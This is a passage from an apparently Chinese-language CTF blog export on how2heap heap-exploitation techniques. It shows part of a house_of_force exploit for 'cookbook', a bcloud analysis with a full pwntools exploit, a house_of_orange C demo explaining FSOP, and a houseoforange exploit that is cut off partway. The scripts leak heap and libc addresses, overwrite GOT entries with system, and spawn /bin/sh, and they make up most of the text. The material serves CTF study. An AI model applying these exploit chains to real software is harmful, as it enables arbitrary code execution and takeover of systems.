class="line"> p.recvuntil(<span class="string">'\n'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'\n'</span>)</span><br><span class="line"> heap_base=int(p.recvuntil(<span class="string">' -'</span>).strip(<span class="string">' -'</span>))<span class="number">-0x1780</span></span><br><span class="line"> recipe_choice(<span class="string">'q'</span>)</span><br><span class="line"> <span class="keyword">return</span> heap_base</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">leak_libc</span><span class="params">()</span>:</span></span><br><span class="line"> main_choice(<span class="string">'c'</span>)</span><br><span class="line"> recipe_choice(<span class="string">'n'</span>)</span><br><span class="line"> recipe_choice(<span class="string">'a'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'to add? '</span>)</span><br><span class="line"> p.sendline(<span class="string">'********'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'many? (hex): '</span>)</span><br><span class="line"> p.sendline(<span class="string">'0x1'</span>)</span><br><span class="line"> recipe_choice(<span class="string">'q'</span>)</span><br><span class="line"> main_choice(<span class="string">'e'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'exterminate? '</span>)</span><br><span class="line"> p.sendline(<span class="string">'********'</span>)</span><br><span class="line"> main_choice(<span class="string">'c'</span>)</span><br><span class="line"> recipe_choice(<span class="string">'p'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'$'</span>)</span><br><span class="line"> libc_base=int(p.recvuntil(<span class="string">'\n'</span>).strip(<span class="string">'\n'</span>))<span class="number">-0x1b27b0</span></span><br><span class="line"> recipe_choice(<span class="string">'q'</span>)</span><br><span class="line"> <span class="keyword">return</span> libc_base</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">set_topsize</span><span class="params">()</span>:</span></span><br><span class="line"> main_choice(<span class="string">'c'</span>)</span><br><span class="line"> recipe_choice(<span class="string">'g'</span>)</span><br><span class="line"> sleep(<span class="number">0.1</span>)</span><br><span class="line"> p.sendline(<span class="string">'a'</span>*<span class="number">0x3c0</span>+p32(<span class="number">0xffffffff</span>))</span><br><span class="line"> recipe_choice(<span class="string">'q'</span>)</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">'your name?\n'</span>)</span><br><span class="line">p.sendline(<span class="string">'ljc'</span>)</span><br><span class="line"></span><br><span class="line">creat_for_leak()</span><br><span class="line">heap_base=leak_heap()</span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> +<span class="string">'heap_base:'</span>+hex(heap_base) + <span class="string">"\033[0m"</span>)</span><br><span class="line">libc_base=leak_libc()</span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> +<span class="string">'libc_base:'</span>+hex(libc_base) + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line">creat_for_fill()</span><br><span class="line">set_topsize()</span><br><span class="line"></span><br><span class="line"><span class="comment">#new_top->0x0804D000</span></span><br><span class="line"><span class="comment">#req = dest - old_top - 4*sizeof(long)</span></span><br><span class="line">req =numpy.array([<span class="number">0x0804D010</span>,],dtype=numpy.uint32)</span><br><span class="line">main_choice(<span class="string">'g'</span>)</span><br><span class="line">p.recvuntil(<span class="string">'hacker!) : '</span>)</span><br><span class="line">req[<span class="number">0</span>]=req[<span class="number">0</span>]-(heap_base+<span class="number">0x17a0</span>)<span class="number">-4</span>*<span class="number">4</span></span><br><span class="line">log.info(hex(req[<span class="number">0</span>]))</span><br><span class="line">p.sendline(hex(req[<span class="number">0</span>]))</span><br><span class="line"></span><br><span class="line"><span class="comment">#gdb.attach(p,'b *0x08048D40')</span></span><br><span class="line">main_choice(<span class="string">'a'</span>)</span><br><span class="line">Ing_choice(<span class="string">'n'</span>)</span><br><span class="line">free =<span class="number">0x1ec180</span></span><br><span class="line">memcpy=<span class="number">0x77610</span></span><br><span class="line">fgets =<span class="number">0x5e150</span></span><br><span class="line">alarm =<span class="number">0xb0270</span></span><br><span class="line">stk =<span class="number">0</span></span><br><span class="line">malloc=<span class="number">0x1ec110</span></span><br><span class="line">puts =<span class="number">0x5fca0</span></span><br><span class="line">g=<span class="number">0</span></span><br><span class="line">strtoul=<span class="number">0</span></span><br><span class="line">start=<span class="number">0</span></span><br><span class="line">buf=<span class="number">0</span></span><br><span class="line">system=<span class="number">0x3ada0</span></span><br><span class="line">calloc=<span class="number">0x1ec130</span></span><br><span class="line">Ing_choice(<span class="string">'g'</span>)</span><br><span class="line">name=p32(free+libc_base)+p32(memcpy+libc_base)+p32(fgets+libc_base)+p32(alarm+libc_base)+p32(stk)+p32(malloc+libc_base)+p32(puts+libc_base)+p32(g)+p32(strtoul)</span><br><span class="line">name+=p32(start)+p32(buf)+p32(system+libc_base)+p32(calloc+libc_base)</span><br><span class="line">name=name.ljust(<span class="number">0x68</span>,<span class="string">'\x00'</span>)</span><br><span class="line">name+=p32(<span class="number">0x1b25a0</span>+libc_base)</span><br><span class="line">name+=p32(<span class="number">0x1b2d60</span>+libc_base)</span><br><span class="line">p.sendline(name)</span><br><span class="line">Ing_choice(<span class="string">'s'</span>)</span><br><span class="line">p.sendline(<span class="string">'/bin/sh'</span>)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>
<h1 id="bcloud"><a href="#bcloud" class="headerlink" title="bcloud"></a>bcloud</h1><h2 id="程序分析-1"><a href="#程序分析-1" class="headerlink" title="程序分析"></a>程序分析</h2><p>注:这个程序分析是在我写完题之后再来写的,可能会有很多东西会有剧透的既视感…主要是用来帮助自己以后看的</p>
<p>main就是很正常的菜单,就不多废话了,直接从其中做初始化的函数开始看</p>
<h3 id="初始化函数"><a href="#初始化函数" class="headerlink" title="初始化函数"></a>初始化函数</h3><p>0x0804899C:这个函数包括了两个函数,其中分别对应两个输入点</p>
<p>姑且称第一个是<code>input_name</code>,第二个是<code>input_org_host</code></p>
<h4 id="input-name"><a href="#input-name" class="headerlink" title="input_name"></a>input_name</h4><img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582412657048.png" width="40%" height="40%">
<p>这里有一个比较坑的点我刚开始一直都没发现(当然还是自己太菜了),因为这个<code>readn_add0(ptr,n,chr)</code>是一个最多读取n个字符然后会在结尾处+0的函数,如果read过程中碰到chr就直接+0退出结束,也就是说如果我们输入了0x40个字符,他就会在0x41处补0。在这里,我们输入0x40之后他会把0补在V2这个变量处,随之被malloc的指针覆盖了,由于32位程序中指针都占4字节,所以覆盖之后这里直接连着堆指针一起strcpy进了chunk中,没有\x00截断。然后调用info输出了chunk中的内容</p>
<h4 id="input-org-host"><a href="#input-org-host" class="headerlink" title="input_org_host"></a>input_org_host</h4><img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582413141212.png" width="60%" height="60%">
<p>上面的trick在这里同样出现了一遍,当然这里主要是<code>org v2 host</code>这三个连在了一起,最后在strcpy的时候是一个比较大的溢出,由于v2对应的chunk紧跟的就是top_chunk,所以很自然能联想到<code>house_of_force</code></p>
<h3 id="new"><a href="#new" class="headerlink" title="new"></a>new</h3><img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582413440952.png" width="60%" height="60%">
<p>根据下标和记录存放malloc的ptr,lenth由我们输入然后会被存到<code>len_Array</code>中,接着根据lenth读入conent,由于malloc时lenth+4,所以构成不了overflow</p>
<h3 id="edit"><a href="#edit" class="headerlink" title="edit"></a>edit</h3><img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582413618572.png" width="40%" height="40%">
<p>没什么好说的了,就是根据存的len来读数据</p>
<h3 id="delete"><a href="#delete" class="headerlink" title="delete"></a>delete</h3><p><img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582413728779.png" alt="1582413728779"></p>
<p>先把ptr存在栈上,清空记录然后<code>free(ptr)</code></p>
<p>其他的函数都好像没什么用就不用管了</p>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><p>主要就是第二个初始化<code>input_org_host</code>中产生的<code>house_of_force</code>,先将top_chunk.size根据溢出赋值成<code>0xffffffff</code>,然后malloc一个负数设置<code>top_chunk</code>,之后再利用edit就好了,主要就是得发现<code>house_of_force</code>这个洞23333</p>
<p>接着就是在我们的ptr_Array上玩了,我设置的dest稍微在array上面一点,主要是当时免得出错,反正edit的时候可以打pad,当我们用设置好top之后,id0被占用,再新malloc出来用来写Array的chunk会放在index1,当然这个chunk我只写了一次,只用把对应的东西布置好就行了,具体布置什么见以下</p>
<p>由于我们最终的目的是要getshell,仅仅只有一个heap_base肯定是不行的,我们还需要leak一个libc的地址,这里我稍微想了一会,至于libc地址现在可以存在于三个地方:stack、got或者非fastbin链中的chunk。我最开始想的是:通过再malloc一个大一点的chunk之后free,然后在array上就有libc地址了,通过写一个array上的记录指向这个地址就可以打印,但是怎么打印呢,一般打印的方法有通过程序中有输出点的地方打印,或者通过栈溢出控制函数参数、返回地址到puts_plt这样打印,可是这个程序既没有打印chunk的函数…..也无法栈溢出或者泄露栈地址什么的,但是我想到能够设置一个GOT表然后调用edit修改,我们手上暂时又只有程序的地址可以用,所以我就找了一下有什么函数可以用来接受一个地址然后输出的(因为我们程序中使用Array中的数据而且调用到库函数的只有free),刚好有一个函数<code>0x08048779</code>,是接受一个地址然后打<code>%s</code>,这大概就是出题人故意设置的吧2333。所以把free的GOT改成这个函数就可以了,free的GOT表项后面是<code>__stack_chk_fail</code>,不会影响什么</p>
<p>不过我最开始的那个思路free一个大一点的chunk失败了,所以就转而想到了更简单的方法,利用GOT表</p>
<p>然后我们的Array上现在只需要有一样东西就行:GOT表地址。一个用来改free的GOT,一个用来leak</p>
<p>leak之后再把free的GOT改成system,然后malloc一个<code>/bin/sh\x00</code>的chunk,然后free就好了</p>
<p>好像也可以改atoi的GOT更方便一些(或者当修改GOT表影响了相邻表项会出错时可以试试)不过这里就不做多余的事了,getshell就行</p>
<h2 id="完整EXP-1"><a href="#完整EXP-1" class="headerlink" title="完整EXP"></a>完整EXP</h2><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'bcloud'</span> <span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary <span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span>, stdin=pty, stdout=pty) <span class="comment">#process option here</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Host =</span></span><br><span class="line"><span class="string">Port =</span></span><br><span class="line"><span class="string">p = remote(Host,Port)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\0'</span>))</span><br><span class="line">my_u32 = <span class="keyword">lambda</span> x: u32(x.ljust(<span class="number">4</span>, <span class="string">'\0'</span>))</span><br><span class="line">ub_offset = <span class="number">0x3c4b30</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">loginfo</span><span class="params">(what=<span class="string">''</span>,address=<span class="number">0</span>)</span>:</span></span><br><span class="line"> log.info(<span class="string">"\033[1;36m"</span> + what + <span class="string">'----->'</span> + hex(address) + <span class="string">"\033[0m"</span>)</span><br><span class="line"><span class="comment"># todo here</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">new</span><span class="params">(len,content)</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'option--->>\n'</span>)</span><br><span class="line"> p.sendline(<span class="string">'1'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'the note content:\n'</span>)</span><br><span class="line"> p.sendline(str(len))</span><br><span class="line"> p.recvuntil(<span class="string">'the content:\n'</span>)</span><br><span class="line"> p.send(content)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">edit</span><span class="params">(id,content)</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'option--->>\n'</span>)</span><br><span class="line"> p.sendline(<span class="string">'3'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'the id:\n'</span>)</span><br><span class="line"> p.sendline(str(id))</span><br><span class="line"> p.recvuntil(<span class="string">'new content:\n'</span>)</span><br><span class="line"> loginfo(<span class="string">''</span>,<span class="number">0</span>)</span><br><span class="line"> p.send(content)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete</span><span class="params">(id)</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'option--->>\n'</span>)</span><br><span class="line"> p.sendline(<span class="string">'4'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'the id:'</span>)</span><br><span class="line"> p.sendline(str(id))</span><br><span class="line">p.recvuntil(<span class="string">'your name:\n'</span>)</span><br><span class="line">p.send(<span class="string">'a'</span>*<span class="number">0x40</span>)</span><br><span class="line">p.recvuntil(<span class="string">'a'</span>*<span class="number">0x40</span>)</span><br><span class="line">heap_base=my_u32(p.recv(<span class="number">4</span>))<span class="number">-0x8</span></span><br><span class="line">loginfo(<span class="string">'heap_base'</span>,heap_base)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">'Org:\n'</span>)</span><br><span class="line">p.send(<span class="string">'a'</span>*<span class="number">0x40</span>)</span><br><span class="line">p.recvuntil(<span class="string">'Host:\n'</span>)</span><br><span class="line">p.sendline(<span class="string">'\xff'</span>*<span class="number">4</span>)</span><br><span class="line"></span><br><span class="line">dest=<span class="number">0x0804B110</span></span><br><span class="line">old_top=heap_base+<span class="number">0xd8</span></span><br><span class="line">corrupt_size=dest-old_top<span class="number">-4</span>*<span class="number">4</span><span class="number">-4</span></span><br><span class="line"><span class="comment">#req = dest - old_top - 4*sizeof(long</span></span><br><span class="line">leakfunction=<span class="number">0x08048779</span></span><br><span class="line">free_got=<span class="number">0x0804B014</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">gdb.attach(p,<span class="string">'b *0x08048b4f'</span>)</span><br><span class="line">new(corrupt_size,<span class="string">'\n'</span>)<span class="comment">#set top</span></span><br><span class="line">new(<span class="number">0x18</span>,<span class="string">'a'</span>*<span class="number">0x10</span>+p32(<span class="number">0x0804B03C</span>)+p32(free_got)+<span class="string">'\n'</span>)<span class="comment">#id 0 1 atoi_got</span></span><br><span class="line"></span><br><span class="line">edit(<span class="number">1</span>,p32(leakfunction)+<span class="string">'\n'</span>)</span><br><span class="line">delete(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">'Hey '</span>)</span><br><span class="line">libc_base=my_u32(p.recv(<span class="number">4</span>))<span class="number">-0x2d250</span></span><br><span class="line">loginfo(<span class="string">'libc base'</span>,libc_base)</span><br><span class="line">system=<span class="number">0x3ada0</span>+libc_base</span><br><span class="line">edit(<span class="number">1</span>,p32(system)+<span class="string">'\n'</span>)</span><br><span class="line">new(<span class="number">0x8</span>,<span class="string">'/bin/sh\x00\n'</span>)</span><br><span class="line">delete(<span class="number">0</span>)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>
]]></content>
<tags>
<tag>how2heap</tag>
</tags>
</entry>
<entry>
<title>how2heap - house_of_orange&houseoforange</title>
<url>/2020/03/15/how2heap-house-of-orange-houseoforange/</url>
<content><![CDATA[<h1 id="how2heap-house-of-orange-amp-houseoforange"><a href="#how2heap-house-of-orange-amp-houseoforange" class="headerlink" title="how2heap - house_of_orange&houseoforange"></a>how2heap - house_of_orange&houseoforange</h1><p>ubuntu16.04 libc2.23</p>
<h1 id="house-of-orange-c"><a href="#house-of-orange-c" class="headerlink" title="house_of_orange.c"></a>house_of_orange.c</h1><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><string.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">winner</span> <span class="params">( <span class="keyword">char</span> *ptr)</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">char</span> *p1, *p2;</span><br><span class="line"> <span class="keyword">size_t</span> io_list_all, *top;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> p1 = <span class="built_in">malloc</span>(<span class="number">0x400</span><span class="number">-0x10</span>);<span class="comment">//malloc一个small chunk (size:0x400)</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> top = (<span class="keyword">size_t</span> *) ( (<span class="keyword">char</span> *) p1 - <span class="number">16</span> + <span class="number">0x400</span>);<span class="comment">//top=&top_chunk</span></span><br><span class="line"> top[<span class="number">1</span>] = <span class="number">0xc01</span>;<span class="comment">//top_chunk.size=0xc01 这里,topchunk+size后的地址必须是页对齐的,prev_inuse必须要设置</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> p2 = <span class="built_in">malloc</span>(<span class="number">0x1000</span>);<span class="comment">//malloc一个比top_chunk.size大的chunk,此时0xc01的旧top_chunk就会被放到 unsortedbin中去</span></span><br><span class="line"></span><br><span class="line"> io_list_all = top[<span class="number">2</span>] + <span class="number">0x9a8</span>;<span class="comment">//top的fd+0x9a8就等于io_list_all在libc中的地址</span></span><br><span class="line"></span><br><span class="line"> top[<span class="number">3</span>] = io_list_all - <span class="number">0x10</span>;<span class="comment">//把top的bk设置成io_list_all-0x10处,用于bck->fd = unsorted_chunks (av)这一任意写,此时写上去的正好是main_arena.top的地址(&main_arena.top)</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">memcpy</span>( ( <span class="keyword">char</span> *) top, <span class="string">"/bin/sh\x00"</span>, <span class="number">8</span>);<span class="comment">// 将/bin/sh写到top_chunk上面</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> top[<span class="number">1</span>] = <span class="number">0x61</span>;<span class="comment">//在后面malloc(10)的时候,把chunk放到对应的chain处</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> _IO_FILE *fp = (_IO_FILE *) top;</span><br><span class="line"> <span class="comment">/////////////////////////////////////////////////////////////这里就是FSOP那一套</span></span><br><span class="line"> fp->_mode = <span class="number">0</span>; <span class="comment">// top+0xc0</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> fp->_IO_write_base = (<span class="keyword">char</span> *) <span class="number">2</span>; <span class="comment">// top+0x20</span></span><br><span class="line"> fp->_IO_write_ptr = (<span class="keyword">char</span> *) <span class="number">3</span>; <span class="comment">// top+0x28</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="keyword">size_t</span> *jump_table = &top[<span class="number">12</span>]; <span class="comment">// controlled memory</span></span><br><span class="line"> jump_table[<span class="number">3</span>] = (<span class="keyword">size_t</span>) &winner;</span><br><span class="line"> *(<span class="keyword">size_t</span> *) ((<span class="keyword">size_t</span>) fp + <span class="keyword">sizeof</span>(_IO_FILE)) = (<span class="keyword">size_t</span>) jump_table; <span class="comment">// top+0xd8</span></span><br><span class="line"> <span class="comment">///////////////////////////////////////////////////////////////////////////////</span></span><br><span class="line"> <span class="built_in">malloc</span>(<span class="number">10</span>);<span class="comment">//malloc(0x10),size不相等时触发任意写,并在任意写之后,由于unsortedbin->bk指向的是io_list_all-0x10,此处的对应的size为0,然后就会触发malloc_printerr</span></span><br><span class="line"> <span class="comment">//触发malloc_printerr就会触发_IO_flush_all_lockp,之后通过chain,FSOP成功(这里能通过chain劫持成功的原因也是因为main_arena上对应偏移处的_mode值不为0)</span></span><br><span class="line"> <span class="comment">//之后就会去执行我们的winner了,而且关键是IO_FILE对于函数的调用是类似于f(ptr)这样调用的,所以最后执行的时候就是_IO_OVERFLOW(fp, EOF)=>system(&top)</span></span><br><span class="line"> <span class="comment">//然而此时top上的字符串是/bin/sh,所以就会getshell</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">winner</span><span class="params">(<span class="keyword">char</span> *ptr)</span></span></span><br><span class="line"><span class="function"></span>{ </span><br><span class="line"> system(ptr);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>由于源how2heap上的代码注释太多,要是对具体有疑问的推荐去看一下源代码上的注释,我这个主要是总结用,还有以后参考用</p>
<p>整个过程是一个很巧妙的过程,没有通过free,就是通过top_chunk和unsortedbin attack实现了这个利用,全程也不是特别难理解,我的调试过程就是看了一下到底是哪出错调用的malloc_printerr</p>
<h1 id="houseoforange"><a href="#houseoforange" class="headerlink" title="houseoforange"></a>houseoforange</h1><h2 id="程序分析"><a href="#程序分析" class="headerlink" title="程序分析"></a>程序分析</h2><h3 id="build"><a href="#build" class="headerlink" title="build"></a>build</h3><p><img src="/2020/03/15/how2heap-house-of-orange-houseoforange/1584105896359.png" alt="1584105896359"></p>
<p>最多只能build 4次,对应的chunk联系如下图所示</p>
<p><img src="/2020/03/15/how2heap-house-of-orange-houseoforange/1584105957540.png" alt="1584105957540"></p>
<p>其中Orange和price_color_chunk都是固定大小的,而且price_color_chunk是calloc出来的chunk</p>
<p>name是我们自己控制大小的一个chunk,最大可为0x1000</p>
<h3 id="see"><a href="#see" class="headerlink" title="see"></a>see</h3><p><img src="/2020/03/15/how2heap-house-of-orange-houseoforange/1584106502771.png" alt="1584106502771"></p>
<p>基本就是打印我们的name还有price,加上一个我们指定颜色的橘子</p>
<h3 id="upgrade"><a href="#upgrade" class="headerlink" title="upgrade"></a>upgrade</h3><p><img src="/2020/03/15/how2heap-house-of-orange-houseoforange/1584106661589.png" alt="1584106661589"></p>
<p>最多只允许upgrade两次,其中更新时的lenth是我们自己输出的,存在一个溢出,然后就是更新price和color</p>
<h2 id="漏洞分析-amp-Exploit"><a href="#漏洞分析-amp-Exploit" class="headerlink" title="漏洞分析&Exploit"></a>漏洞分析&Exploit</h2><p>漏洞点应该说很容易理解,就是upgrade中的overflow,主要就在于我们应该怎么利用。首先程序没有free,所以很多利用都没办法下手了,但是前面刚好学到了<code>house_of_orange</code>,是一个不需要用free即可实现的漏洞,再来看</p>
<p>build中的chunk申请顺序是:<code>malloc(0x10);malloc(len);calloc(8)</code></p>
<p>然后我们的溢出产生在第二个chunk上,可以溢出到calloc出来的chunk还有topchunk</p>
<p>所以这里先build一个house来修改topchunk的size,和前面<code>house_of_orange.c</code>中一样,设置时保持top+size+0x20页对齐,用于后续利用</p>
<p>设置好之后build第二个house,此时指定name为0x1000大小,即可把原来的topchunk放到unsortedbin</p>
<p>这个时候再进行第三次build,指定name稍微小一点,保证这次build出来的house都是从top中切出来的,然后就可以进行溢出修改、leak的操作了</p>
<p>最后一次build触发FSOP即可……..?是不是还少了点什么,因为我们FSOP的时候需要吧vtable指向一个我们可以控制的地方,但是我还没有leak heap或者PIE啊….这怎么办,后来再查阅wp的时候知道了通过切割largechunk时残留的fd_nextsize和bk_nextsize leak的操作….说实话因为largebin在写题的时候用到的少所以没有想到XD…记下来免得以后不记得</p>
<p>PS:顺带记一下<code>fd_nextsize</code>和<code>bk_nextsize</code>会被清空的情况</p>
<ol>
<li>从unsortedbin中唯一last remainder中切出来的时候(malloc.c:3494)</li>
<li>从largebin中切割出的remainder放入unsortedbin时,如果remainder的size仍是属于largebin的,就将这两个ptr清空<br>(malloc.c:3645)(我们最后堆地址泄露就是通过从这切出来的large victim chunk)</li>
<li>一个属于largesize的chunk,free被链入unsortedbin时</li>
</ol>
<h2 id="完整EXP"><a href="#完整EXP" class="headerlink" title="完整EXP"></a>完整EXP</h2><p>有了上面思路之后写WP就很好说了</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'./houseoforange'</span> <span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary <span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span>, stdin=pty, stdout=pty) <span class="comment">#process option here</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Host =</span></span><br><span class="line"><span class="string">Port =</span></span><br><span class="line"><span class="string">p = remote(Host,Port)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\x00'</span>))</span><br><span class="line">my_u32 = <span class="keyword">lambda</span> x: u32(x.ljust(<span class="number">4</span>, <span class="string">'\x00'</span>))</span><br><span class="line">global_max_fast=<span class="number">0x3c67f8</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">loginfo</span><span class="params">(what=<span class="string">''</span>,address=<span class="number">0</span>)</span>:</span></span><br><span class="line"> log.info(<span class="string">"\033[1;36m"</span> + what + <span class="string">'----->'</span> + hex(address) + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># todo here</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">build</span><span class="params">(length,name,price,color)</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'Your choice : '</span>)</span><br><span class="line"> p.send(<span class="string">'1'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'of name :'</span>)</span><br><span class="line"> p.send(str(length))</span><br><span class="line"> p.recvuntil(<span class="string">'Name :'</span>)</span><br><span class="line"> p.send(name)</span><br><span class="line"> p.recvuntil(<span class="string">'Price of Orange:'</span>)</span><br><span class="line"> p.send(str(price))</span><br><span class="line"> p.recvuntil(<span class="string">'Color of Orange:'</span>)</span><br><span class="line"> p.send(str(color))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">upgrade</span><span class="params">(length,name,price,color)</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'Your choice : '</span>)</span><br><span class="line"> p.send(<span class="string">'3'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'of name :'</span>)</span><br><span class="line"> p.send(str(length))</span><br><span class="line"> p.recvuntil(<span class="string">'Name:'</span>)</span><br><span class="line"> p.send(name)</span><br><span class="line"> p.recvuntil(<span class="string">'Price of Orange:'</span>)</span><br><span class="line"> p.send(str(price))</span><br><span class="line"> p.recvuntil(<span class="string">'Color of Orange:'</span>)</span><br><span class="line"> p.send(str(color))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">see</span><span class="params">()</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'Your choice : '</span>)</span><br><span class="line"> p.send(<span class="string">'2'</span>)</span><br><span class="line"></span><br><span class="line">build(<span class="number">0x10</span>,<span class="string">'a'</span>*<span class="number">0x10</span>,<span class="number">1</span>,<span class="number">0xDDAA</span>)<span class="comment">#0x20 0x20 0x20 0x20fa1</span></span><br><span class="line">payload=<span class="string">'a'</span>*<span class="number">0x18</span>+p64(<span class="number">0x21</span>)+p64(<span class="number">0xddaa00000001</span>)+p64(<span class="number">0</span>)*<span class="number">2</span>+p64(<span class="number">0xfa1</span>)</span><br><span class="line">upgrade(<span class="number">0x40</span>,payload,<span class="number">1</span>,<span class="number">0xDDAA</span>)</span><br><span class="line">build(<span class="number">0x1000</span>,<span class="string">'\x00'</span>*<span class="number">0x1000</span>,<span class="number">1</span>,<span class="number">0xDDAA</span>)</span><br><span class="line">build(<span class="number">0x400</span>,<span class="string">'*'</span>*<span class="number">0x8</span>,<span class="number">1</span>,<span class="number">0xDDAA</span>)<span class="comment">#when the size is largesize, the split victim chunk will remain the fd_nextsize&bk_nextsize</span></span><br><span class="line"></span><br><span class="line">see()</span><br><span class="line">p.recvuntil(<span class="string">"********"</span>)</span><br><span class="line">libc_base=my_u64(p.recv(<span class="number">6</span>))<span class="number">-0x3c5188</span></span><br><span class="line">loginfo(<span class="string">"libc_base:"</span>,libc_base)</span><br><span class="line"></span><br><span class="line">upgrade(<span class="number">0x10</span>,<span class="string">'*'</span>*<span class="number">0x10</span>,<span class="number">1</span>,<span class="number">0xDDAA</span>)</span><br><span class="line">see()</span><br><span class="line">p.recvuntil(<span class="string">'****************'</span>)</span><br><span class="line">heap_base=my_u64(p.recv(<span class="number">6</span>))<span class="number">-0xc0</span></span><br><span class="line">loginfo(<span class="string">"heap_base"</span>,heap_base)</span><br><span class="line"></span><br><span class="line">payload=<span class="string">'\x00'</span>*<span class="number">0x408</span>+p64(<span class="number">0x21</span>)+p64(<span class="number">0xddaa00000010</span>)+p64(<span class="number">0</span>)+<span class="string">'/bin/sh\x00'</span>+p64(<span class="number">0x61</span>)+p64(<span class="number">0</span>)+p64(libc_base+<span class="number">0x3c5520</span><span class="number">-0x10</span>)</span><br><span 